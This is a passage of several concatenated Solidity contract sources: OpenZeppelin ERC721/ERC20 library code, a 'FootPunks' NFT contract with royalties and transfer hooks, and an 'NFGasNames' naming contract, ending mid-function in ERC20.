_symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: FootPunks.sol pragma solidity ^0.8.12; contract FootPunks is ERC721Enumerable, ERC2981, Ownable { IToeken public Toeken; string internal _baseTokenURI; uint256 public constant MAX_SUPPLY = 2_000; uint96 public constant ROYALTY_BPS = 1_000; // 10% constructor(string memory baseTokenURI) ERC721("FootPunks", "FOOT") { _baseTokenURI = baseTokenURI; _setDefaultRoyalty(msg.sender, ROYALTY_BPS); } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, ERC2981) returns (bool) { return super.supportsInterface(interfaceId); } function setToekenAddress(address toeken) public onlyOwner { Toeken = IToeken(toeken); } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function mint(address to, uint256 tokenId) external payable onlyOwner { require(totalSupply() < MAX_SUPPLY, "Would exceed max supply"); require(tokenId < MAX_SUPPLY, "Invalid tokenId"); _mint(to, tokenId); } // OVERRIDES function transferFrom( address from, address to, uint256 tokenId ) public override(ERC721, IERC721) { if (address(Toeken) != address(0)) { Toeken.update(from, to); } super.transferFrom(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public override(ERC721, IERC721) { if (address(Toeken) != address(0)) { Toeken.update(from, to); } super.safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override(ERC721, IERC721) { if (address(Toeken) != address(0)) { Toeken.update(from, to); } super.safeTransferFrom(from, to, tokenId, data); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-07-02 */ // File: @openzeppelin/contracts/introspection/IERC165.sol // spd-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // spd-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: contracts/NFGasNames.sol // spd-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.6.8; contract NFGasNames { uint256 public test1; bytes32 public test2; mapping(uint256 => string) public names; IERC721 public nfgas; constructor(address a) public { nfgas = IERC721(a); } function setName(uint256 id, string memory name) public { require(nfgas.ownerOf(id) == msg.sender, "Not owner"); uint256 hashValue = uint(keccak256(abi.encodePacked(name))) % 1025; require(hashValue == id, "hashValue incorrect"); names[id] = name; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-30 */ // SPDX-License-Identifier: MIT // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit 